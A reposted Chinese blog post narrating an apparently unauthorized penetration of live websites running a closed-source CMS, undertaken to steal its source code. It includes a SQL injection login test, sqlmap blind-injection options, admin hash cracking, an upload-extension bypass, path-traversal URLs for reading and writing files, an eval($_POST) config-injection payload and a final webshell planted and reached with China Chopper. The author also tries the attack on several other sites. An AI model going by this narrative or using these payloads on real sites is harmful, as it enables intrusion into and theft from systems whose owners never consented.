对某CMS的一次简单渗透测试

栏目: 编程工具 · 发布时间: 7年前

内容简介:对某CMS的一次简单渗透测试

好久没有更新博客了,这几天在研究 mysql 注入,想弄个luanmap玩玩。

对某CMS的一次简单渗透测试

写了下mysql的报错注入和union注入,顺便拿公司内网的一个系统测试了下,唯一欠缺的地方就是没有用substr截取结果,有时候报错注入的结果显示长度是有限制的,这东西以后再想吧。

准备开始写下mysql的盲注的,想先互联网上找找案例弄。偶然看别人博客,说XXCMS存在若干 SQL 注入但文章需要密码访问,于是心里痒痒,想去搞那个CMS的源码审计看看。

那个CMS是不开源的。于是目标就是渗透这种CMS的网站,然后打包下他的网站文件。

此文纯属YY,懂我的意思吧

对某CMS的一次简单渗透测试

原文地址: http://lu4n.com/a-simple-pentest-2017-04-27/

目标站:

对某CMS的一次简单渗透测试

先对网站进行敏感目录/文件扫描,结果很失望,封IP了。

换个IP继续,速度慢一点,扫了很久就出来个admin.php

其他页面都是静态的。。。

打开admin.php,自然是后台了。

对某CMS的一次简单渗透测试

输入admin,admin测试弱口令。

结果还没点登录就提示,请输入正确的密码。

这应该是用js检测密码的长度,换成123456,可以了。

点登录,提示密码错误。然后出来了个验证码。

对某CMS的一次简单渗透测试

然后在用户名加个单引号,输入验证码,再提交。

心里想,要是直接给我个报错注入就爽了。

结果提示用户名不存在。

对某CMS的一次简单渗透测试

然后验证码居然还不变,,不用想了,能爆破。

但是我的爆破字典比较弱鸡,爆破成功率令人发指。

继续测试了下,admin’or’a’=’a

对某CMS的一次简单渗透测试

然后居然提示我密码错误,看来是有盲注了。

盲注比较慢,我优先选择更好的方法。

继续收集信息搞了半天,***的,全是静态页面,还是先去跑盲注吧。

对某CMS的一次简单渗透测试

跑注入大家都会。这里用的sqlmap(等我luanmap写完了回头试试)。

有个小技巧就是确定注入类型了,这里可以直接指定–tech B –dbms mysql

表示是MySQL数据库的布尔盲注,比时间延迟注入还是快很多的。

休息了一会儿结果就出来了。

有两个管理员账号,拿去cmd5.com解密还要收费,试试吐司的MD5解密成功得到密码:mima_lu4n.com

拿去登录后台: 对某CMS的一次简单渗透测试

功能挺多的,怎么说也是商业CMS吧。如果就一个简单的发布新闻,傻子才买。

继续做测试。先去找上传点。

编辑文章,发现了两个上传点,一个是Kind Editor编辑器的,另一个是这个CMS自己弄的上传缩约图:

对某CMS的一次简单渗透测试

在系统设置模块里看到有两个编辑器可选择:

对某CMS的一次简单渗透测试

经过测试这两个编辑器都是不能利用的。(开源的就是比不开源的安全点)

使用CMS自己写的上传功能,抓包得到如下URL:

http://lu4n.com/admin.php?m=fupload&a=commonUpload&opener_id=bannerimg1&height=250&width=500&upload_allowext=png|jpg|gif|bmp

老司机们都能直接看出来,这里居然把允许上传的文件后缀放在GET参数里面,明显可以利用嘛。

构造:

http://lu4n.com/admin.php?m=fupload&a=commonUpload&opener_id=bannerimg1&height=250&width=500&upload_allowext=png|jpg|gif|php

对某CMS的一次简单渗透测试

可惜,没有那么简单。上传成功后提示成功。可以没回显出路径来..这怎么可能..一定是我打开方式不对吧

然后仔细看了下burp,发现确实没有回显,可是没有回显他是怎么上传缩约图的呢?

跑去上传个缩约图看看。

对某CMS的一次简单渗透测试

额。看来是我的burp抓不到flash上传的数据包吧。。

然后点了下站内选择,看看能不能找到我的php shell.

对某CMS的一次简单渗透测试

结果很不错。看了眼url,又是个有问题的地方。

构造下URL:

http://lu4n.com/admin.php?m=ffiles&a=images&opener_id=info_thumb&shower_id=&path=%2F2017/../../../../

对某CMS的一次简单渗透测试

可以列目录。

先去找找我的 shell 位置。翻了一会儿在files目录里找到了:

对某CMS的一次简单渗透测试

心里一阵暗喜,这垃圾cms。

访问下shell地址:

对某CMS的一次简单渗透测试

WTF!?

对某CMS的一次简单渗透测试

居然目录设置权限,不能执行 PHP 脚本,我*你**。

这咋办?

最简单的方法,去找别的站,反正是要CMS的源码,又不是非要这个站的权限,等我拿到源码审计出别的漏洞不就更容易了吗

于是我去搞了5,6个别的站测试,我的内心是崩溃的。

对某CMS的一次简单渗透测试

全部都是没有执行脚本的权限。。。唯独有一个不是因为没有执行脚本的权限而失败的

那个站都不能写文件进去…

对某CMS的一次简单渗透测试

此路不通换条走了。继续测试,发现了这个:

对某CMS的一次简单渗透测试

有些CMS,这里的配置是会写个脚本文件里面的,利用那个列目录的漏洞去列了下目录,发现确实有个配置文件。

对某CMS的一次简单渗透测试

大概可能也许这里的内容会写进去(后来读文件看了下确实如此)

把水印路径修改成:

','test'=>"${@eval($_POST['luan'])};",'lu4n.com'=>'

然后去连接config.inc.php

然后,他么失败了。。。改成phpinfo(),访问下发现代码没有被执行。

把config.php,config.cache.php.CopyOfconfig.inc.php都试了,都不行。。大概是把单引号转义了把(后来读文件确实如此)

这个方法又不行,这就他么很操蛋了。

继续测试测试功能,发现了这个:

对某CMS的一次简单渗透测试

可以新建页面并且可以插模板。

一开始的思路是,新建luan.php页面,然后写shell进去。

设置页面文件名那里是不能修改后缀的,锁定为html,通过抓包强制修改成php。

结果发现行不通,他不会生成文件,而是把页面文件名和内容写入了数据库,然后通过路由从数据库中读取对应的页面内容,即便我改成了luan.php的后缀也是不行的。

换下思路,这里可以使用模板,也许存在任意文件读取。

列目录找个php文件,填入路径,提示成功,然后去访问URL:

对某CMS的一次简单渗透测试

他会在模板文件后面添加上.html,抓包分析了下:

对某CMS的一次简单渗透测试

把这个ishtml参数改下就可以了,他就不会加.html后缀了。

然后访问我设置的luan.html:

对某CMS的一次简单渗透测试

成功读取到文件源码了。

然后我通过这两个漏洞简单读了读这个cms的源码,找到了getshell的方法:

也就是上图中的 FtagAction.class.php文件。没有过滤参数,可以修改任意文件的内容。

构造URL访问:

http://lu4n.com/admin.php?m=ftpl&a=edit&filename=/system/../../../../data/CopyOfconfig.inc.php

对某CMS的一次简单渗透测试

在这个配置文件里面插入一句话木马,然后菜刀连接,终于成功getshell。

对某CMS的一次简单渗透测试

对某CMS的一次简单渗透测试


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

About Face 3

About Face 3

Alan Cooper、Robert Reimann、David Cronin / John Wiley & Sons / 2007-5-15 / GBP 28.99

* The return of the authoritative bestseller includes all new content relevant to the popularization of how About Face maintains its relevance to new Web technologies such as AJAX and mobile platforms......一起来看看 《About Face 3》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

随机密码生成器
随机密码生成器

多种字符组合密码

MD5 加密
MD5 加密

MD5 加密工具